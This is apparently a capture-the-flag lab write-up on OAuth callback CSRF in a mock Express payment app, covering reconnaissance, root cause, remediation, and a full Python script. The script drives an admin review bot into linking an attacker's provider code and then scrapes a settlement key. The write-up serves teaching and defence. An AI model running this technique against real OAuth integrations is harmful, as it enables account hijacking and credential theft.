Lab 148 — VaultPay — CSRF in Payment Provider OAuth Callback
Lab 148 — VaultPay — CSRF in Payment Provider OAuth Callback
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-21 | Status: Solved Techniques: admin_bot_url_delivery, authorization_code_injection, login_csrf, oauth_callback_csrf
Summary
Task: An Express payment application implements a provider OAuth lifecycle with an admin URL-review bot. Solution: Inject an attacker-authorized code into the bot's state-less localhost callback, linking the provider to the flagship store and exposing its settlement key.
Lab 148 — VaultPay — CSRF in Payment Provider OAuth Callback — hackadvisor
Description
No separate organizer description was preserved in the saved challenge artifacts.
The challenge presented an Express payment platform behind nginx. The goal was to inspect the complete payment-provider OAuth lifecycle, exploit its callback trust boundary, and recover protected data belonging to the administrator's merchant account.
The original lab instance expired and was replaced. Because HackAdvisor generates flags per instance, this writeup uses the flag reproduced on the verified replacement instance:
https://318a8f0c-92bc-41e2-bead-6df7038af965.labs.hackadvisor.io/
Reconnaissance
Anonymous reconnaissance identified nginx/1.25.5 in front of Express and exposed /login and /register. An HTML comment contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}, but this was a honeypot: it was available without exploitation and was accompanied by untrusted prompt-injection text.
Logging in as user@test.com exposed the authenticated routes /transactions, /merchants, /connections, /api-docs, /support, /settings, and /settings/providers. The response created an Express connect.sid cookie with these attributes:
text read-only • copy allowedHttpOnly; Secure; SameSite=Lax
Initially, /connections contained no provider relationships. The support feature accepted a URL through POST /support/report and caused an authenticated administrative browser to visit it.
OAuth Lifecycle Analysis
The vulnerable flow was reconstructed one transition at a time.
1. Connection initiation
The attacker starts a provider connection in their own authenticated session:
http read-only • copy allowedPOST /settings/providers/connect HTTP/1.1 Content-Type: application/x-www-form-urlencoded provider_name=SquarePay
The application issues both an authorization code and a state value:
http read-only • copy allowedHTTP/1.1 302 Found Location: /oauth/authorize?code=<attacker-code>&state=<issued-state>&provider=SquarePay
2. Provider authorization
GET /oauth/authorize?... renders a confirmation form whose only hidden field is code. The issued state is dropped rather than carried through the provider flow.
Submitting that form requires only the code:
http read-only • copy allowedPOST /oauth/authorize HTTP/1.1 Content-Type: application/x-www-form-urlencoded code=<attacker-code>
The provider then redirects without state:
http read-only • copy allowedHTTP/1.1 302 Found Location: /auth/provider/callback?code=<attacker-code>
3. Callback completion
A direct baseline request showed that the callback accepts the authorization code by itself:
http read-only • copy allowedGET /auth/provider/callback?code=<attacker-code> HTTP/1.1
No matching state is required and no initiation record is bound to the browser session completing the callback. The server therefore associates the provider identity represented by the code with whichever merchant owns the session cookie on the callback request.
Vulnerability Root Cause
This is OAuth callback CSRF, also described as login CSRF or authorization-code injection. Although the initiation endpoint generates state, the authorization page discards it, the provider response omits it, and the callback does not validate it against the initiating browser session.
The callback is also a state-changing GET. SameSite=Lax cookies are sent on top-level cross-site navigations, so that cookie policy does not prevent the attack. A victim who is induced to navigate to the callback completes the attacker's provider connection under the victim's merchant account.
In this lab, the support bot's authenticated application origin was http://localhost:8080. Reporting the following URL made its top-level navigation carry the administrator's session:
text read-only • copy allowedhttp://localhost:8080/auth/provider/callback?code=<attacker-code>
Exploitation
- Log in with the supplied test account.
- Start a provider connection and extract
codefrom the redirect. - Authorize that code by posting only
codeto/oauth/authorize. - Confirm that the returned callback has no
stateparameter. - Submit the internal callback URL to
/support/report. - Wait for the authenticated administrative bot to navigate to it.
- Request
/connectionsfrom the test account.
After the bot completed the callback, the test account showed an outbound provider relationship to privileged merchant data:
text read-only • copy allowedStore: VaultPay Flagship Store Domain: flagship.vaultpay.com Owner: James Blackwood Provider: SquarePay Settlement API Key: FLAG{REDACTED}
The attacker controls the provider side of the relationship, while the callback's authenticated session selects the administrator-owned merchant. The resulting connection lets the attacker-side account inspect the flagship store's settlement credential.
Reproduction Script
Run the script with the active lab URL as its first argument:
bash read-only • copy allowedpython3 exploit.py 'https://318a8f0c-92bc-41e2-bead-6df7038af965.labs.hackadvisor.io/'
python read-only • copy allowed#!/usr/bin/env python3 """Reproduce VaultPay provider-callback CSRF and print the settlement flag.""" import re import sys import time from urllib.parse import parse_qs, urlparse import requests if len(sys.argv) != 2: raise SystemExit(f"usage: {sys.argv[0]} https://TARGET/") target = sys.argv[1].rstrip("/") session = requests.Session() login = session.post( f"{target}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False, timeout=15, ) login.raise_for_status() assert login.status_code == 302 and login.headers["Location"] == "/" start = session.post( f"{target}/settings/providers/connect", data={"provider_name": "SquarePay"}, allow_redirects=False, timeout=15, ) start.raise_for_status() params = parse_qs(urlparse(start.headers["Location"]).query) code = params["code"][0] issued_state = params["state"][0] print(f"issued code={code}") print(f"issued state={issued_state}") authorize = session.post( f"{target}/oauth/authorize", data={"code": code}, allow_redirects=False, timeout=15, ) authorize.raise_for_status() callback = authorize.headers["Location"] assert callback == f"/auth/provider/callback?code={code}" print(f"provider returned callback without state: {callback}") report = session.post( f"{target}/support/report", data={ "subject": "Provider callback verification", "url": f"http://localhost:8080{callback}", "message": "Please verify this provider callback.", }, allow_redirects=False, timeout=15, ) report.raise_for_status() assert report.status_code == 302 for _ in range(8): time.sleep(3) body = session.get(f"{target}/connections", timeout=15).text match = re.search(r"FLAG\{(?!d3c0y)[^}]+\}", body) if match and "VaultPay Flagship Store" in body: print(match.group(0)) break else: raise SystemExit("admin callback not processed before timeout")
Failed Delivery Variants
- Reporting the public HTTPS callback caused the report to become reviewed but did not create the link. The code remained usable, showing that the public hostname did not hold the bot's authenticated session.
http://localhost:3000/auth/provider/callback?...also failed to create a link.http://localhost:8080/auth/provider/callback?...succeeded because port 8080 was the bot's authenticated internal application origin.
These failures clarify delivery context; they do not change the underlying missing-state vulnerability.
Flag Provenance
The original instance yielded FLAG{cf8669bec2e5a7df21c74cbf2514a5ba} through the same exploit. The replacement instance yielded FLAG{REDACTED}. HackAdvisor flags are instance-specific, so the replacement-instance value is the current final result.
The accepted flag came from the Settlement API Key field for VaultPay Flagship Store in GET /connections after the forged callback. It is therefore exploit-dependent privileged data, unlike the anonymous HTML decoy.
Remediation
- Generate a cryptographically random, single-use
statevalue for every OAuth initiation. - Store a hash of
statein the initiating browser's server-side session, carry it unchanged through authorization, and require an exact constant-time match at the callback. - Bind authorization codes to the initiating merchant, provider, redirect URI, and short expiration period; consume each code only once.
- Reject callbacks with absent, invalid, expired, or previously used
statebefore changing any connection. - Prefer an explicit confirmation step and avoid performing sensitive account-linking solely through a
GETrequest. - Treat
SameSiteas defense in depth, not as a replacement for OAuth transaction binding. - Restrict administrative URL-review bots to allowlisted destinations and isolate their authenticated sessions from reviewed content.